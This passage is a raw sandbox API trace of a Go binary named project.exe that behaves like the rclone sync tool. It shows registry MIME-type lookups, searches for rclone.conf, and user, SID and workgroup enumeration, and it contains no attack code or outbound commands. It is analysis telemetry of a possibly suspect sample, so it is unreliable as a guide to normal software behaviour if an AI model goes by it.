lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.013] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.013] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xlc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.013] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.014] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.014] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xls", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.014] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.014] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.014] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xlt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.015] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.015] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.015] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xml", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.015] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/xml", lpcbData=0xc0006b98fc*=0x12) returned 0x0 [0183.016] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.016] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xps", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.016] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.016] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.017] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xrm-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.017] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/xml", lpcbData=0xc0006b98fc*=0x12) returned 0x0 [0183.017] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.018] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xsd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.018] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.018] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.019] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xsl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.019] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/xml", lpcbData=0xc0006b98fc*=0x12) returned 0x0 [0183.019] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.019] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xslt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.020] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.020] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.020] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xvid", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.020] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.021] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.021] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".z", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.022] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-compress", lpcbData=0xc0006b98fc*=0x2e) returned 0x0 [0183.022] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.022] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".z96", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.023] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.023] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.023] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ZFSendToTarget", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.024] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.024] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.024] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".zip", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.025] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-zip-compressed", lpcbData=0xc0006b98fc*=0x3a) returned 0x0 [0183.025] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.025] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".zoo", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.026] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.026] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.026] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".zpl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.026] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.027] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.050] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0183.051] GetProcAddress (hModule=0x7fffcb440000, lpProcName="SetStdHandle") returned 0x7fffcb4601b0 [0183.061] GetEnvironmentVariableW (in: lpName="DEBUG_HTTP2_GOROUTINES", lpBuffer=0xc0004de0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.062] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0004de1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.062] GetEnvironmentVariableW (in: lpName="OS", lpBuffer=0xc0004de270, nSize=0x64 | out: lpBuffer="") returned 0xa [0183.103] GetEnvironmentVariableW (in: lpName="OCI_GO_SDK_EC_CONFIG", lpBuffer=0xc0004de340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.104] GetEnvironmentVariableW (in: lpName="OCI_GO_SDK_DEBUG", lpBuffer=0xc0004de410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.104] GetCurrentProcessId () returned 0x1698 [0183.110] GetEnvironmentVariableW (in: lpName="OCI_GO_SDK_DEBUG", lpBuffer=0xc0004de4e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.141] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetComputerNameExW") returned 0x7fffcb460190 [0183.141] GetComputerNameExW (in: NameType=0x5, lpBuffer=0xc0000ec500, nSize=0xc0006b9d10 | out: lpBuffer="pXTHffRyO7", nSize=0xc0006b9d10) returned 1 [0183.141] ProcessPrng () returned 0x1 [0183.142] GetFileType (hFile=0x54) returned 0x2 [0183.158] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc000737800, nSize=0x400 | out: lpFilename="C:\\Users\\OqXZRaykm\\Desktop\\project.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\project.exe")) returned 0x26 [0183.158] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetFileAttributesExW") returned 0x7fffcb464cf0 [0183.158] GetFileAttributesExW (in: lpFileName="C:\\Users\\OqXZRaykm\\Desktop\\rclone.conf" (normalized: "c:\\users\\oqxzraykm\\desktop\\rclone.conf"), fInfoLevelId=0x0, lpFileInformation=0xc0006b9920 | out: lpFileInformation=0xc0006b9920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.159] CreateFileW (lpFileName="C:\\Users\\OqXZRaykm\\Desktop\\rclone.conf" (normalized: "c:\\users\\oqxzraykm\\desktop\\rclone.conf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0183.159] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc0004de5b0, nSize=0x64 | out: lpBuffer="") returned 0x22 [0183.159] GetFileAttributesExW (in: lpFileName="C:\\Users\\OqXZRaykm\\AppData\\Roaming\\rclone\\rclone.conf" (normalized: "c:\\users\\oqxzraykm\\appdata\\roaming\\rclone\\rclone.conf"), fInfoLevelId=0x0, lpFileInformation=0xc0006b98e8 | out: lpFileInformation=0xc0006b98e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.160] CreateFileW (lpFileName="C:\\Users\\OqXZRaykm\\AppData\\Roaming\\rclone\\rclone.conf" (normalized: "c:\\users\\oqxzraykm\\appdata\\roaming\\rclone\\rclone.conf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0183.160] GetEnvironmentVariableW (in: lpName="XDG_CONFIG_HOME", lpBuffer=0xc0004de680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.160] GetEnvironmentVariableW (in: lpName="HOME", lpBuffer=0xc0004de750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.160] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0004de820, nSize=0x64 | out: lpBuffer="") returned 0x12 [0183.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\OqXZRaykm\\.config\\rclone\\rclone.conf" (normalized: "c:\\users\\oqxzraykm\\.config\\rclone\\rclone.conf"), fInfoLevelId=0x0, lpFileInformation=0xc0006b98f0 | out: lpFileInformation=0xc0006b98f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.160] CreateFileW (lpFileName="C:\\Users\\OqXZRaykm\\.config\\rclone\\rclone.conf" (normalized: "c:\\users\\oqxzraykm\\.config\\rclone\\rclone.conf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0183.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\OqXZRaykm\\.rclone.conf" (normalized: "c:\\users\\oqxzraykm\\.rclone.conf"), fInfoLevelId=0x0, lpFileInformation=0xc0006b9960 | out: lpFileInformation=0xc0006b9960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.161] CreateFileW (lpFileName="C:\\Users\\OqXZRaykm\\.rclone.conf" (normalized: "c:\\users\\oqxzraykm\\.rclone.conf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0183.161] GetEnvironmentVariableW (in: lpName="RCLONE_CONFIG", lpBuffer=0xc0004def70, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\OqXZRaykm\\AppData\\Roaming\\rclone" (normalized: "c:\\users\\oqxzraykm\\appdata\\roaming\\rclone"), fInfoLevelId=0x0, lpFileInformation=0xc0006b9950 | out: lpFileInformation=0xc0006b9950*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.161] CreateFileW (lpFileName="C:\\Users\\OqXZRaykm\\AppData\\Roaming\\rclone" (normalized: "c:\\users\\oqxzraykm\\appdata\\roaming\\rclone"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0183.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\OqXZRaykm\\AppData\\Roaming" (normalized: "c:\\users\\oqxzraykm\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0xc0006b98e8 | out: lpFileInformation=0xc0006b98e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x328821b6, ftCreationTime.dwHighDateTime=0x1d94219, ftLastAccessTime.dwLowDateTime=0x23969f7c, ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0xe8042f9, ftLastWriteTime.dwHighDateTime=0x1da42db, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0183.162] GetProcAddress (hModule=0x7fffcb440000, lpProcName="CreateDirectoryW") returned 0x7fffcb464ad0 [0183.163] CreateDirectoryW (lpPathName="C:\\Users\\OqXZRaykm\\AppData\\Roaming\\rclone" (normalized: "c:\\users\\oqxzraykm\\appdata\\roaming\\rclone"), lpSecurityAttributes=0x0) returned 1 [0183.165] GetEnvironmentVariableW (in: lpName="LocalAppData", lpBuffer=0xc0004df040, nSize=0x64 | out: lpBuffer="") returned 0x20 [0183.175] GetEnvironmentVariableW (in: lpName="USER", lpBuffer=0xc0004df110, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.175] GetCurrentProcess () returned 0xffffffffffffffff [0183.176] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xc0006b9c30 | out: TokenHandle=0xc0006b9c30*=0x1c4) returned 1 [0183.176] GetProcAddress (hModule=0x7fffcb600000, lpProcName="GetTokenInformation") returned 0x7fffcb615de0 [0183.176] GetTokenInformation (in: TokenHandle=0x1c4, TokenInformationClass=0x1, TokenInformation=0xc0001c3880, TokenInformationLength=0x32, ReturnLength=0xc0006b9c0c | out: TokenInformation=0xc0001c3880, ReturnLength=0xc0006b9c0c) returned 1 [0183.176] GetTokenInformation (in: TokenHandle=0x1c4, TokenInformationClass=0x5, TokenInformation=0xc0001c38c0, TokenInformationLength=0x32, ReturnLength=0xc0006b9c0c | out: TokenInformation=0xc0001c38c0, ReturnLength=0xc0006b9c0c) returned 1 [0183.176] GetProcAddress (hModule=0x7fffcb600000, lpProcName="ConvertSidToStringSidW") returned 0x7fffcb615680 [0183.177] ConvertSidToStringSidW (in: Sid=0xc0001c3890*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xcc)), StringSid=0xc0006b9c08 | out: StringSid=0xc0006b9c08*="S-1-5-21-245394380-2276627025-4024548581-1000") returned 1 [0183.177] GetProcAddress (hModule=0x7fffcb440000, lpProcName="LocalFree") returned 0x7fffcb457b00 [0183.177] LocalFree (hMem=0x1244a0) returned 0x0 [0183.177] ConvertSidToStringSidW (in: Sid=0xc0001c38c8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xcc)), StringSid=0xc0006b9c08 | out: StringSid=0xc0006b9c08*="S-1-5-21-245394380-2276627025-4024548581-513") returned 1 [0183.177] LocalFree (hMem=0x1244a0) returned 0x0 [0183.177] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffca030000 [0183.233] GetProcAddress (hModule=0x7fffca030000, lpProcName="GetUserProfileDirectoryW") returned 0x7fffca0328d0 [0183.233] GetUserProfileDirectoryW () returned 0x1 [0183.241] GetProcAddress (hModule=0x7fffcb600000, lpProcName="LookupAccountSidW") returned 0x7fffcb616560 [0183.241] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xc0001c3890*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xcc)), Name=0xc0002a81c0, cchName=0xc0006b9ba0, ReferencedDomainName=0xc0002a8230, cchReferencedDomainName=0xc0006b9ba4, peUse=0xc0006b9ba8 | out: Name="OqXZRaykm", cchName=0xc0006b9ba0, ReferencedDomainName="PXTHFFRYO7", cchReferencedDomainName=0xc0006b9ba4, peUse=0xc0006b9ba8) returned 1 [0183.375] LoadLibraryExW (lpLibFileName="netapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffb57e0000 [0183.442] GetProcAddress (hModule=0x7fffb57e0000, lpProcName="NetGetJoinInformation") returned 0x7fffc93616f0 [0183.447] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0xc0006b9b98, BufferType=0xc0006b9b94 | out: lpNameBuffer=0xc0006b9b98*="WORKGROUP", BufferType=0xc0006b9b94) returned 0x0 [0183.695] GetProcAddress (hModule=0x7fffb57e0000, lpProcName="NetApiBufferFree") returned 0x7fffc95d1060 [0183.698] NetApiBufferFree (Buffer=0x122880) returned 0x0 [0183.698] GetProcAddress (hModule=0x7fffb57e0000, lpProcName="NetUserGetInfo") returned 0x7fffc43b2c40 [0183.705] NetUserGetInfo (in: servername="PXTHFFRYO7", username="OqXZRaykm", level=0xa, bufptr=0xc0006b9b60 | out: bufptr=0x123380*(usri10_name="OqXZRaykm", usri10_comment="", usri10_usr_comment="", usri10_full_name="")) returned 0x0 [0183.867] NetApiBufferFree (Buffer=0x123380) returned 0x0 [0183.867] CloseHandle (hObject=0x1c4) returned 1 [0183.873] GetEnvironmentVariableW (in: lpName="USER", lpBuffer=0xc0004df2b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.875] GetEnvironmentVariableW (in: lpName="USER", lpBuffer=0xc0004df380, nSize=0x64 | out: lpBuffer="") returned 0x0 [0183.879] ProcessPrng () returned 0x1 [0183.922] SetEvent (hEvent=0x1ac) returned 1 [0183.922] SetEvent (hEvent=0x1b8) returned 1 [0183.922] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0184.058] VirtualAlloc (lpAddress=0xc000740000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000740000 [0184.058] VirtualAlloc (lpAddress=0xc000742000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000742000 [0184.059] VirtualAlloc (lpAddress=0xc000744000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000744000 [0184.059] VirtualAlloc (lpAddress=0xc000746000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000746000 [0184.059] VirtualAlloc (lpAddress=0xc000748000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000748000 [0184.060] SetEvent (hEvent=0x114) returned 1 [0184.060] SetEvent (hEvent=0x1b8) returned 1 [0184.060] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0184.066] SetEvent (hEvent=0x1ac) returned 1 [0184.066] SetEvent (hEvent=0x1b8) returned 1 [0184.066] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0184.131] SetEvent (hEvent=0x114) returned 1 [0184.131] SetEvent (hEvent=0x1b8) returned 1 [0184.131] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0184.213] VirtualAlloc (lpAddress=0xc00074a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00074a000 [0184.215] SetEvent (hEvent=0x1ac) returned 1 [0184.215] SetEvent (hEvent=0x1b8) returned 1 [0184.215] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0184.236] VirtualAlloc (lpAddress=0xc000880000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000880000 [0184.238] VirtualAlloc (lpAddress=0xc000886000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000886000 [0184.242] VirtualAlloc (lpAddress=0xc000890000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000890000 [0184.243] VirtualAlloc (lpAddress=0xc000892000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000892000 [0184.244] VirtualAlloc (lpAddress=0xc000894000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000894000 [0184.244] VirtualAlloc (lpAddress=0xc000896000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000896000 [0184.244] VirtualAlloc (lpAddress=0xc000898000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000898000 [0184.245] VirtualAlloc (lpAddress=0xc00089a000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00089a000 [0184.246] VirtualAlloc (lpAddress=0xc0008ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ae000 [0184.247] VirtualAlloc (lpAddress=0xc0008b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008b0000 [0184.247] VirtualAlloc (lpAddress=0xc0008b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008b2000 [0184.250] VirtualAlloc (lpAddress=0xc0008b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008b4000 [0184.252] VirtualAlloc (lpAddress=0xc0008b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008b6000 [0184.254] VirtualAlloc (lpAddress=0xc0008b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008b8000 [0184.254] VirtualAlloc (lpAddress=0xc0008ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0008ba000 [0184.254] GetEnvironmentVariableW (in: lpName="RCLONE_CPUPROFILE", lpBuffer=0xc0008ba000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.254] GetEnvironmentVariableW (in: lpName="RCLONE_MEMPROFILE", lpBuffer=0xc0008ba0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.255] GetEnvironmentVariableW (in: lpName="RCLONE_STATS", lpBuffer=0xc0008ba1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.255] GetEnvironmentVariableW (in: lpName="RCLONE_STATS_UNIT", lpBuffer=0xc0008ba270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.410] GetEnvironmentVariableW (in: lpName="RCLONE_JSON", lpBuffer=0xc0008ba340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.410] GetEnvironmentVariableW (in: lpName="RCLONE_FULL", lpBuffer=0xc0008ba410, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.411] GetEnvironmentVariableW (in: lpName="RCLONE_AUTH_NO_OPEN_BROWSER", lpBuffer=0xc0008ba4e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.411] GetEnvironmentVariableW (in: lpName="RCLONE_TEMPLATE", lpBuffer=0xc0008ba5b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.412] GetEnvironmentVariableW (in: lpName="RCLONE_HEAD", lpBuffer=0xc0008ba680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.412] GetEnvironmentVariableW (in: lpName="RCLONE_TAIL", lpBuffer=0xc0008ba750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.412] GetEnvironmentVariableW (in: lpName="RCLONE_OFFSET", lpBuffer=0xc0008ba820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.412] GetEnvironmentVariableW (in: lpName="RCLONE_COUNT", lpBuffer=0xc0008ba8f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0184.412] GetEnvironmentVariableW (in: lpName="RCLONE_DISCARD", lpBuffer=0xc0008ba9c0, nSize=0x64 | out: lpBuffer="") returned 